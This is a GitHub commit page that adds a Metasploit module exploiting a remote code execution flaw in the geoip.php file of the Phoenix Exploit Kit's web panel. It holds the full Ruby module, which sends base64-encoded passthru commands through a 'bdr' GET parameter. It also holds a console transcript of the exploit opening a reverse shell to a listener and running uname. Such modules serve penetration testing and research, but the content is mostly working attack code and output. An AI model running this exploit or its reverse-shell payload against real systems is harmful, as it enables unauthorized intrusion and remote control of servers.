Skip to content

Commit d4c8286

Browse files
authored
Add Phoenix Exploit Kit Remote Code Execution
This module exploits a Remote Code Execution in the web panel of Phoenix Exploit Kit Remote Code Execution via the geoip.php. The Phoenix Exploit Kit is a popular commercial crimeware tool that probes the browser of the visitor for the presence of outdated and insecure versions of browser plugins like Java, and Adobe Flash and Reader which then silently installs malware. ``` msf exploit(phoenix_exec) > show options Module options (exploit/multi/http/phoenix_exec): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOST 192.168.52.128 yes The target address RPORT 80 yes The target port SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI /Phoenix/includes/geoip.php yes The path of geoip.php which is vulnerable to RCE VHOST no HTTP server virtual host Payload options (cmd/unix/reverse): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.52.129 yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Phoenix Exploit Kit / Unix msf exploit(phoenix_exec) > check [+] 192.168.52.128:80 The target is vulnerable. msf exploit(phoenix_exec) > exploit [*] Started reverse TCP double handler on 192.168.52.129:4444 [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo RZpbBEP77nS8Dvm4; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket A [*] A: "RZpbBEP77nS8Dvm4\r\n" [*] Matching... [*] B is input... [*] Command shell session 5 opened (192.168.52.129:4444 -> 192.168.52.128:51748) at 2016-08-19 09:29:22 -0400 uname -a Linux ubuntu 4.4.0-28-generic rapid7#47-Ubuntu SMP Fri Jun 24 10:08:35 UTC 2016 i686 i686 i686 GNU/Linux ```
1 parent 42462f0 commit d4c8286

File tree

1 file changed

+84
-0
lines changed

1 file changed

+84
-0
lines changed
Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => 'Phoenix Exploit Kit Remote Code Execution',
16+
'Description' => %q{
17+
This module exploits a Remote Code Execution in the web panel of Phoenix Exploit Kit Remote Code Execution via the
18+
geoip.php. The Phoenix Exploit Kit is a popular commercial crimeware tool that probes the browser of the visitor for
19+
the presence of outdated and insecure versions of browser plugins like Java, and Adobe Flash and Reader which then
20+
silently installs malware.
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' =>
24+
[
25+
'CrashBandicot @DosPerl', #initial discovery
26+
'Jay Turla <@shipcod3>', #msf module
27+
],
28+
'References' =>
29+
[
30+
[ 'EDB', '40047' ],
31+
[ 'URL', 'http://krebsonsecurity.com/tag/phoenix-exploit-kit/' ], # description of Phoenix Exploit Kit
32+
[ 'URL', 'https://www.pwnmalw.re/Exploit%20Pack/phoenix' ],
33+
],
34+
'Privileged' => false,
35+
'Payload' =>
36+
{
37+
'Space' => 200,
38+
'BadChars' => '',
39+
'DisableNops' => true,
40+
'Compat' =>
41+
{
42+
'PayloadType' => 'cmd'
43+
}
44+
},
45+
'Platform' => %w{ unix win },
46+
'Arch' => ARCH_CMD,
47+
'Targets' =>
48+
[
49+
['Phoenix Exploit Kit / Unix', { 'Platform' => 'unix' } ],
50+
['Phoenix Exploit Kit / Windows', { 'Platform' => 'win' } ]
51+
],
52+
'DisclosureDate' => 'Jun 06 2016',
53+
'DefaultTarget' => 0))
54+
55+
register_options(
56+
[
57+
OptString.new('TARGETURI', [true, 'The path of geoip.php which is vulnerable to RCE', '/Phoenix/includes/geoip.php']),
58+
],self.class)
59+
end
60+
61+
def check
62+
test = Rex::Text.rand_text_alpha(8)
63+
res = http_send_command("echo #{test};")
64+
if res && res.body.include?(test)
65+
return Exploit::CheckCode::Vulnerable
66+
end
67+
return Exploit::CheckCode::Safe
68+
end
69+
70+
def exploit
71+
encoded = Rex::Text.encode_base64(payload.encoded)
72+
http_send_command("passthru(base64_decode(\"#{encoded}\"));")
73+
end
74+
75+
def http_send_command(cmd)
76+
send_request_cgi({
77+
'method' => 'GET',
78+
'uri' => normalize_uri(target_uri.path),
79+
'vars_get' => {
80+
'bdr' => cmd
81+
}
82+
})
83+
end
84+
end

0 commit comments

Comments
 (0)